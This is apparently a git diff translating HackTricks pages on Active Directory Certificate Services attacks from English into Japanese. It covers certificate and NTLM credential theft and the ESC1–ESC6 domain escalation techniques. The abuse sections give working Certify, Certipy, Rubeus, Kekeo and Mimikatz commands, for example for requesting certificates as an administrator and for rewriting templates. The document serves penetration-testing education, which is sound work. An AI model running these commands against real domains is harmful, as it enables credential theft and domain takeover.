`%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`(CAPI)および `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`(CNG)から得られます。これらの**プライベートキー**は**マシン証明書**ストアに関連付けられており、Windowsはこれらを**マシンのDPAPIマスターキー**で暗号化します。\ +これらのキーはドメインのDPAPIバックアップキーを使用して復号することはできませんが、代わりにシステムの**DPAPI\_SYSTEM LSAシークレット**を使用する必要があります。このシークレットは**SYSTEMユーザーのみがアクセスできます**。 -Windows stores machine certificates in the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` and stores private keys in several different places depending on the account.\ -Although SharpDPAPI will search all these locations, the most interesting results tend to come from `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI) and `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG). These **private keys** are associated with the **machine certificate** store and Windows encrypts them with the **machine’s DPAPI master keys**.\ -One cannot decrypt these keys using the domain’s DPAPI backup key, but rather **must** use the **DPAPI\_SYSTEM LSA secret** on the system which is **accessible only by the SYSTEM user**. +**Mimikatz**の**`lsadump::secrets`**コマンドを使用してこれを手動で行い、抽出したキーを使用して**マシンマスターキー**を**復号化**することができます。\ +また、CAPI/CNGを以前と同じようにパッチし、**Mimikatz**の`crypto::certificates /export /systemstore:LOCAL_MACHINE`コマンドを使用することもできます。\ +**SharpDPAPI**のcertificatesコマンドには**`/machine`**フラグがあります(昇格している場合)、これにより自動的に**SYSTEMに昇格**し、**DPAPI\_SYSTEM** LSAシークレットをダンプし、これを使用してマシンのDPAPIマスターキーを復号化し、キーの平文をルックアップテーブルとして使用してマシン証明書のプライベートキーを復号化します。 -You can do this manually with **Mimikatz’** **`lsadump::secrets`** command and then use the extracted key to **decrypt machine masterkeys**. \ -You can also patch CAPI/CNG as before and use **Mimikatz’** `crypto::certificates /export /systemstore:LOCAL_MACHINE` command. \ -**SharpDPAPI’s** certificates command with the **`/machine`** flag (while elevated) will automatically **elevate** to **SYSTEM**, **dump** the **DPAPI\_SYSTEM** LSA secret, use this to **decrypt** and found machine DPAPI masterkeys, and use the key plaintexts as a lookup table to decrypt any machine certificate private keys. +## 証明書ファイルの検索 – THEFT4 -## Finding Certificate Files – THEFT4 +時には証明書がファイルシステムにあることがあります。たとえば、ファイル共有やダウンロードフォルダにあります。\ +私たちがよく見るWindowsに焦点を当てた証明書ファイルの一般的なタイプは、**`.pfx`** と **`.p12`** ファイルです。**`.pkcs12`** や **`.pem`** も時々現れますが、頻度は低いです。\ +他にも興味深い証明書関連のファイル拡張子には、**`.key`**(プライベートキー)、**`.crt/.cer`**(証明書のみ)、**`.csr`**(証明書署名要求、証明書やプライベートキーは含まれていません)、**`.jks/.keystore/.keys`**(Javaキーストア。Javaアプリケーションで使用される証明書とプライベートキーが含まれる場合があります)があります。 -Sometimes **certificates are just in the filesystem**, like in file shares or in the Downloads folder.\ -The most common type of Windows-focused certificate files we have seen are **`.pfx`** and **`.p12`** files, with **`.pkcs12`** and ** `.pem` ** sometimes showing up but less often.\ -Other interesting certificate-related file extensions are: **`.key`** (_private key_), **`.crt/.cer`** (_just cert_), **`.csr`** (_Certificate Signing Request, it doesn't contain certs of priv keys_), **`.jks/.keystore/.keys`** (_Java Keystore. May contain certs + private keys used by Java applications_). +これらの拡張子を使用して、PowerShellまたはコマンドプロンプトで検索すれば、これらのファイルを見つけることができます。 -To find this files, just search for those extensions using powershell or the cmd. +もし**PKCS#12**証明書ファイルを見つけ、それが**パスワードで保護されている**場合、[pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html)を使用してハッシュを抽出し、JohnTheRipperを使用してクラックすることができます。 -If you find a **PKCS#12** certificate file and it is **password protected**, you can extract a hash using [pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html) **crack** it using JohnTheRipper. +## PKINITを介したNTLM資格情報の盗難 – THEFT5 -## NTLM Credential Theft via PKINIT – THEFT5 +> NTLM認証をサポートするために、Kerberos認証をサポートしないネットワークサービスに接続するアプリケーションに対して、PKCAが使用される場合、KDCは特権属性証明書(PAC)の**`PAC_CREDENTIAL_INFO`**バッファにユーザーのNTLMワンウェイ関数(OWF)を返します。 -> In order to **support NTLM authentication** \[MS-NLMP] for applications connecting to network services that **do not support Kerberos** authentication, when PKCA is used, the KDC returns the **user’s NTLM** one-way function (OWF) in the privilege attribute certificate (PAC) **`PAC_CREDENTIAL_INFO`** buffer - -So, if account authenticates and gets a **TGT through PKINIT**, there is a built-in “failsafe” that allows the current host to **obtain our NTLM hash from the TGT** to support legacy authentication. This involves **decrypting** a **`PAC_CREDENTIAL_DATA`** **structure** that is a Network Data Representation (NDR) serialized representation of the NTLM plaintext. - -[**Kekeo**](https://github.com/gentilkiwi/kekeo) can be used to ask for a TGT with this information an retrieve the users NTML +したがって、アカウントが認証され、PKINITを介して**TGTを取得**した場合、現在のホストは**TGTからNTLMハッシュを取得**するための組み込みの「failsafe」があります。これには、NTLM平文の**`PAC_CREDENTIAL_DATA`**構造を**復号化**することが含まれます。この構造は、NTLM平文のネットワークデータ表現(NDR)シリアル化表現です。 +[**Kekeo**](https://github.com/gentilkiwi/kekeo)を使用して、この情報を含むTGTを要求し、ユーザーのNTLMハッシュを取得することができます。 ```bash tgt::pac /caname:thename-DC-CA /subject:harmj0y /castore:current_user /domain:domain.local ``` +Kekeoの実装は、[**PINを回復**](https://github.com/CCob/PinSwipe)**することができれば、現在接続されているスマートカードで保護された証明書でも動作します。**また、[**Rubeus**](https://github.com/GhostPack/Rubeus)でもサポートされます。 -Kekeo’s implementation will also work with smartcard-protected certs that are currently plugged in if you can [**recover the pin**](https://github.com/CCob/PinSwipe)**.** It will also be supported in [**Rubeus**](https://github.com/GhostPack/Rubeus). +## 参考文献 -## References - -* All the info was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) +* すべての情報は[https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)から取得されました。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
diff --git a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index ae6953ea7..98686502c 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,123 +1,112 @@ -# AD CS Domain Escalation +# AD CS ドメインエスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Misconfigured Certificate Templates - ESC1 +## 設定ミスの証明書テンプレート - ESC1 -### Explanation +### 説明 -* The **Enterprise CA** grants **low-privileged users enrolment rights** -* **Manager approval is disabled** -* **No authorized signatures are required** -* An overly permissive **certificate template** security descriptor **grants certificate enrolment rights to low-privileged users** -* The **certificate template defines EKUs that enable authentication**: - * _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)._ -* The **certificate template allows requesters to specify a subjectAltName in the CSR:** - * **AD** will **use** the identity specified by a certificate’s **subjectAltName** (SAN) field **if** it is **present**. Consequently, if a requester can specify the SAN in a CSR, the requester can **request a certificate as anyone** (e.g., a domain admin user). The certificate template’s AD object **specifies** if the requester **can specify the SAN** in its **`mspki-certificate-name-`**`flag` property. The `mspki-certificate-name-flag` property is a **bitmask** and if the **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** flag is **present**, a **requester can specify the SAN.** +* **エンタープライズCA**は、**低特権ユーザーに登録権限を付与**します。 +* **マネージャーの承認は無効**になっています。 +* **承認された署名は必要ありません**。 +* 過度に許可された**証明書テンプレート**のセキュリティ記述子は、**低特権ユーザーに証明書の登録権限を付与**します。 +* **証明書テンプレートは認証を有効にするEKUを定義**します: +* _クライアント認証(OID 1.3.6.1.5.5.7.3.2)、PKINITクライアント認証(1.3.6.1.5.2.3.4)、スマートカードログオン(OID 1.3.6.1.4.1.311.20.2.2)、任意の目的(OID 2.5.29.37.0)、またはEKUなし(SubCA)_ +* **証明書テンプレートは、CSRでsubjectAltNameを指定することを要求することができます**: +* **AD**は、証明書の**subjectAltName**(SAN)フィールドで指定された**アイデンティティを使用**します**(存在する場合)。したがって、リクエスタがCSRでSANを指定できる場合、リクエスタは任意の主体(例:ドメイン管理者ユーザー)として証明書を要求できます。証明書テンプレートのADオブジェクトは、リクエスタがその**`mspki-certificate-name-`**`flag`プロパティでSANを指定できるかどうかを指定します。`mspki-certificate-name-flag`プロパティは**ビットマスク**であり、**`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`**フラグが**存在する場合**、リクエスタはSANを指定できます。 {% hint style="danger" %} -These settings allow a **low-privileged user to request a certificate with an arbitrary SAN**, allowing the low-privileged user to authenticate as any principal in the domain via Kerberos or SChannel. +これらの設定により、**低特権ユーザーは任意のSANを持つ証明書を要求**できるため、低特権ユーザーはKerberosまたはSChannelを介してドメイン内の任意の主体として認証できます。 {% endhint %} -This is often enabled, for example, to allow products or deployment services to generate HTTPS certificates or host certificates on the fly. Or because of lack of knowledge. +これは、例えば、製品や展開サービスがHTTPS証明書やホスト証明書を動的に生成することを許可するために頻繁に有効にされます。または、知識の不足のために有効にされることもあります。 -Note that when a certificate with this last option is created a **warning appears**, but it doesn't appear if a **certificate template** with this configuration is **duplicated** (like the `WebServer` template which has `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled and then the admin might add an authentication OID). +この最後のオプションを持つ証明書が作成されると、**警告が表示**されますが、この構成で**証明書テンプレート**が**複製**される場合は表示されません(`WebServer`テンプレートの場合、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`が有効になっており、管理者が認証OIDを追加する可能性があります)。 -### Abuse - -To **find vulnerable certificate templates** you can run: +### 悪用 +**脆弱な証明書テンプレートを見つける**には、次のコマンドを実行します: ```bash Certify.exe find /vulnerable certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 ``` - -To **abuse this vulnerability to impersonate an administrator** one could run: - +この脆弱性を悪用して管理者をなりすますためには、次のコマンドを実行することができます。 ```bash Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local' ``` - -Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again: - +次に、生成された証明書を `.pfx` 形式に変換し、再び Rubeus や certipy を使用して認証することができます。 ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` +Windowsのバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成するために悪用される可能性があります:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -The Windows binaries "Certreq.exe" & "Certutil.exe" can be abused to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee - -Moreover, the following LDAP query when run against the AD Forest’s configuration schema can be used to **enumerate** **certificate templates** that do **not require approval/signatures**, that have a **Client Authentication or Smart Card Logon EKU**, and have the **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** flag enabled: - +さらに、ADフォレストの構成スキーマに対して実行される次のLDAPクエリは、承認/署名が不要で、クライアント認証またはスマートカードログオンEKUを持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグが有効になっている**証明書テンプレート**を**列挙**するために使用できます: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` +## 設定ミスのある証明書テンプレート - ESC2 -## Misconfigured Certificate Templates - ESC2 +### 説明 -### Explanation +2番目の悪用シナリオは、最初のもののバリエーションです: -The second abuse scenario is a variation of the first one: +1. エンタープライズCAは、低特権ユーザーに登録権限を付与します。 +2. マネージャーの承認は無効になっています。 +3. 承認された署名は必要ありません。 +4. 過度に許可された証明書テンプレートのセキュリティ記述子は、低特権ユーザーに証明書の登録権限を付与します。 +5. **証明書テンプレートは、Any Purpose EKUまたはEKUが定義されていません。** -1. The Enterprise CA grants low-privileged users enrollment rights. -2. Manager approval is disabled. -3. No authorized signatures are required. -4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. -5. **The certificate template defines the Any Purpose EKU or no EKU.** +**Any Purpose EKU**は、攻撃者がクライアント認証、サーバー認証、コード署名などの**任意の目的**のために**証明書**を取得できるようにします。この場合も、ESC3と同じ**手法**を使用して悪用することができます。 -The **Any Purpose EKU** allows an attacker to get a **certificate** for **any purpose** like client authentication, server authentication, code signing, etc. The same **technique as for ESC3** can be used to abuse this. +**EKUのない証明書**(下位CA証明書)も同様に**任意の目的**に悪用される可能性がありますが、**新しい証明書に署名する**こともできます。したがって、下位CA証明書を使用して、攻撃者は新しい証明書に**任意のEKUやフィールドを指定**することができます。 -A **certificate with no EKUs** — a subordinate CA certificate —  can be abused for **any purpose** as well but could **also use it to sign new certificates**. As such, using a subordinate CA certificate, an attacker could **specify arbitrary EKUs or fields in the new certificates.** - -However, if the **subordinate CA is not trusted** by the **`NTAuthCertificates`** object (which it won’t be by default), the attacker **cannot create new certificates** that will work for **domain authentication**. Still, the attacker can create **new certificates with any EKU** and arbitrary certificate values, of which there’s **plenty** the attacker could potentially **abuse** (e.g., code signing, server authentication, etc.) and might have large implications for other applications in the network like SAML, AD FS, or IPSec. - -The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario: +ただし、**下位CAが`NTAuthCertificates`オブジェクトによって信頼されていない**場合(デフォルトではそうではありません)、攻撃者は**ドメイン認証**に使用できる**新しい証明書を作成することはできません**。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書**を作成することができ、これにはSAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに対して大きな影響がある可能性があります。 +以下のLDAPクエリは、ADフォレストの構成スキーマに対して実行されると、このシナリオに一致するテンプレートを列挙するために使用できます: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` +## 設定ミスの登録エージェントテンプレート - ESC3 -## Misconfigured Enrolment Agent Templates - ESC3 +### 説明 -### Explanation +このシナリオは、最初と2番目のシナリオと同様ですが、**異なるEKU**(証明書リクエストエージェント)と**2つの異なるテンプレート**を**悪用**しています。 -This scenario is like the first and second one but **abusing** a **different EKU** (Certificate Request Agent) and **2 different templates** (therefore it has 2 sets of requirements), +**証明書リクエストエージェントEKU**(OID 1.3.6.1.4.1.311.20.2.1)は、Microsoftのドキュメントでは**登録エージェント**として知られており、主体が**他のユーザーの代わりに証明書を登録**することを可能にします。 -The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**. +**「登録エージェント」**は、このような**テンプレート**に登録し、結果として得られた**証明書を他のユーザーの代わりにCSRに共同署名**します。その後、**共同署名されたCSR**をCAに**送信**し、**「代理で登録」を許可するテンプレート**に登録し、CAは**「他の」ユーザーに属する証明書**で応答します。 -The **“enrollment agent”** enrolls in such a **template** and uses the resulting **certificate to co-sign a CSR on behalf of the other user**. It then **sends** the **co-signed CSR** to the CA, enrolling in a **template** that **permits “enroll on behalf of”**, and the CA responds with a **certificate belong to the “other” user**. +**要件1:** -**Requirements 1:** +1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。 +2. マネージャーの承認は無効です。 +3. 承認された署名は必要ありません。 +4. 過度に許可された証明書テンプレートのセキュリティ記述子により、低特権ユーザーに証明書の登録権限が与えられます。 +5. **証明書テンプレートは、証明書リクエストエージェントEKUを定義**しています。証明書リクエストエージェントOID(1.3.6.1.4.1.311.20.2.1)は、他の主体のために他の証明書テンプレートを要求するために使用されます。 -1. The Enterprise CA allows low-privileged users enrollment rights. -2. Manager approval is disabled. -3. No authorized signatures are required. -4. An overly permissive certificate template security descriptor allows certificate enrollment rights to low-privileged users. -5. The **certificate template defines the Certificate Request Agent EKU**. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals. +**要件2:** -**Requirements 2:** +1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。 +2. マネージャーの承認は無効です。 +3. **テンプレートスキーマのバージョンが1以上であり、証明書リクエストエージェントEKUを要求するアプリケーションポリシー発行要件が指定されています。** +4. 証明書テンプレートは、ドメイン認証を許可するEKUを定義しています。 +5. 登録エージェントの制限はCAに実装されていません。 -1. The Enterprise CA allows low-privileged users enrollment rights. -2. Manager approval is disabled. -3. **The template schema version 1 or is greater than 2 and specifies an Application Policy Issuance Requirement requiring the Certificate Request Agent EKU.** -4. The certificate template defines an EKU that allows for domain authentication. -5. Enrollment agent restrictions are not implemented on the CA. - -### Abuse - -You can use [**Certify**](https://github.com/GhostPack/Certify) or [**Certipy**](https://github.com/ly4k/Certipy) to abuse this scenario: +### 悪用 +[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用して、このシナリオを悪用することができます。 ```bash # Request an enrollment agent certificate Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent @@ -131,41 +120,39 @@ certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'Us # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` +Enterprise CAsは、`certsrc.msc`スナップインを開き、CAを右クリックしてプロパティをクリックし、「Enrollment Agents」タブに移動することで、**誰が登録エージェント証明書を取得できるか**、**エージェントが登録できるテンプレート**、およびエージェントが**代理でアクションを実行できるアカウント**を**制約**することができます。 -Enterprise CAs can **constrain** the **users** who can **obtain** an **enrollment agent certificate**, the templates enrollment **agents can enroll in**, and which **accounts** the enrollment agent can **act on behalf of** by opening `certsrc.msc` `snap-in -> right clicking on the CA -> clicking Properties -> navigating` to the “Enrollment Agents” tab. +ただし、**デフォルトの**CA設定は「**登録エージェントを制限しない**」です。管理者が「登録エージェントを制限する」を有効にしても、デフォルトの設定は非常に許容範囲が広く、誰でも誰のテンプレートでも登録できるようになっています。 -However, the **default** CA setting is “**Do not restrict enrollment agents”.** Even when administrators enable “Restrict enrollment agents”, the default setting is extremely permissive, allowing Everyone access enroll in all templates as anyone. +## 脆弱な証明書テンプレートのアクセス制御 - ESC4 -## Vulnerable Certificate Template Access Control - ESC4 +### **説明** -### **Explanation** +**証明書テンプレート**には、特定の**ADプリンシパル**がテンプレートに対して特定の**権限を持つかどうかを指定するセキュリティ記述子**があります。 -**Certificate templates** have a **security descriptor** that specifies which AD **principals** have specific **permissions over the template**. +もし**攻撃者**が**テンプレートを変更**し、前のセクションで説明した**脆弱性のある設定**を作成するための**十分な権限**を持っている場合、それを悪用して**特権を昇格**させることができます。 -If an **attacker** has enough **permissions** to **modify** a **template** and **create** any of the exploitable **misconfigurations** from the **previous sections**, he will be able to exploit it and **escalate privileges**. +証明書テンプレートに関する興味深い権限: -Interesting rights over certificate templates: +* **Owner:** オブジェクトの暗黙のフルコントロール権限で、任意のプロパティを編集できます。 +* **FullControl:** オブジェクトのフルコントロール権限で、任意のプロパティを編集できます。 +* **WriteOwner:** 攻撃者が制御するプリンシパルに所有者を変更できます。 +* **WriteDacl**: 攻撃者にフルコントロールを付与するためにアクセス制御を変更できます。 +* **WriteProperty:** 任意のプロパティを編集できます。 -* **Owner:** Implicit full control of the object, can edit any properties. -* **FullControl:** Full control of the object, can edit any properties. -* **WriteOwner:** Can modify the owner to an attacker-controlled principal. -* **WriteDacl**: Can modify access control to grant an attacker FullControl. -* **WriteProperty:** Can edit any properties +### 悪用方法 -### Abuse - -An example of a privesc like the previous one: +前述のような特権昇格の例:
-ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1. +ESC4は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合の特権昇格です。これは、例えば証明書テンプレートの構成を上書きしてテンプレートをESC1に対して脆弱にするために悪用される可能性があります。 -As we can see in the path above, only `JOHNPC` has these privileges, but our user `JOHN` has the new `AddKeyCredentialLink` edge to `JOHNPC`. Since this technique is related to certificates, I have implemented this attack as well, which is known as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Here’s a little sneak peak of Certipy’s `shadow auto` command to retrieve the NT hash of the victim. +上記のパスでわかるように、書き込み権限を持っているのは`JOHNPC`だけですが、ユーザー`JOHN`は`JOHNPC`に対して新しい`AddKeyCredentialLink`のエッジを持っています。この攻撃は証明書に関連しているため、[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)としても知られる攻撃を実装しています。以下は、被害者のNTハッシュを取得するためのCertipyの`shadow auto`コマンドの一部です。
-**Certipy** can overwrite the configuration of a certificate template with a single command. By **default**, Certipy will **overwrite** the configuration to make it **vulnerable to ESC1**. We can also specify the **`-save-old` parameter to save the old configuration**, which will be useful for **restoring** the configuration after our attack. - +**Certipy**は、単一のコマンドで証明書テンプレートの構成を上書きすることができます。デフォルトでは、Certipyは構成を上書きしてESC1に対して脆弱にします。また、攻撃後の構成の**復元**に役立つため、**`-save-old`パラメータを指定して古い構成を保存**することもできます。 ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -176,44 +163,38 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` +## 脆弱なPKIオブジェクトのアクセス制御 - ESC5 -## Vulnerable PKI Object Access Control - ESC5 +### 説明 -### Explanation +AD CSのセキュリティに影響を与えるACLベースの関係のウェブは広範であり、証明書テンプレートや証明機関自体以外のいくつかのオブジェクトがAD CSシステム全体のセキュリティに影響を与える可能性があります。これには以下が含まれます(ただし、これに限定されません): -The web of interconnected ACL based relationships that can affect the security of AD CS is extensive. Several **objects outside of certificate** templates and the certificate authority itself can have a **security impact on the entire AD CS system**. These possibilities include (but are not limited to): +* CAサーバーのADコンピュータオブジェクト(S4U2SelfまたはS4U2Proxyを介した侵害) +* CAサーバーのRPC/DCOMサーバー +* `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`のコンテナ内の任意の子孫ADオブジェクトまたはコンテナ(証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、登録サービスコンテナなど) -* The **CA server’s AD computer object** (i.e., compromise through S4U2Self or S4U2Proxy) -* The **CA server’s RPC/DCOM server** -* Any **descendant AD object or container in the container** `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.) - -If a low-privileged attacker can gain **control over any of these**, the attack can likely **compromise the PKI system**. +低特権の攻撃者がこれらのいずれかを制御できる場合、攻撃はおそらくPKIシステムを危険にさらすことができます。 ## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Explanation +### 説明 -There is another similar issue, described in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), which involves the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag. As Microsoft describes, “**If** this flag is **set** on the CA, **any request** (including when the subject is built from Active Directory®) can have **user defined values** in the **subject alternative name**.”\ -This means that an **attacker** can enroll in **ANY template** configured for domain **authentication** that also **allows unprivileged** users to enroll (e.g., the default User template) and **obtain a certificate** that allows us to **authenticate** as a domain admin (or **any other active user/machine**). +もう1つの類似の問題があり、[**CQure Academyの投稿**](https://cqureacademy.com/blog/enhanced-key-usage)で説明されています。これは**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグに関連しています。Microsoftによれば、「このフラグがCAに設定されている場合、(Active Directory®からサブジェクトが構築される場合を含む)**任意のリクエスト**には**ユーザー定義の値**が**サブジェクトの代替名**に含まれることがあります。」\ +これは、**攻撃者**が、ドメイン**認証**に構成された**任意のテンプレート**に登録し、(たとえば、デフォルトのユーザーテンプレートなど)**特権のないユーザー**が登録できる証明書を取得し、ドメイン管理者(または**他のアクティブなユーザー/マシン**)として認証することができる証明書を取得できることを意味します。 -**Note**: the **alternative names** here are **included** in a CSR via the `-attrib "SAN:"` argument to `certreq.exe` (i.e., “Name Value Pairs”). This is **different** than the method for 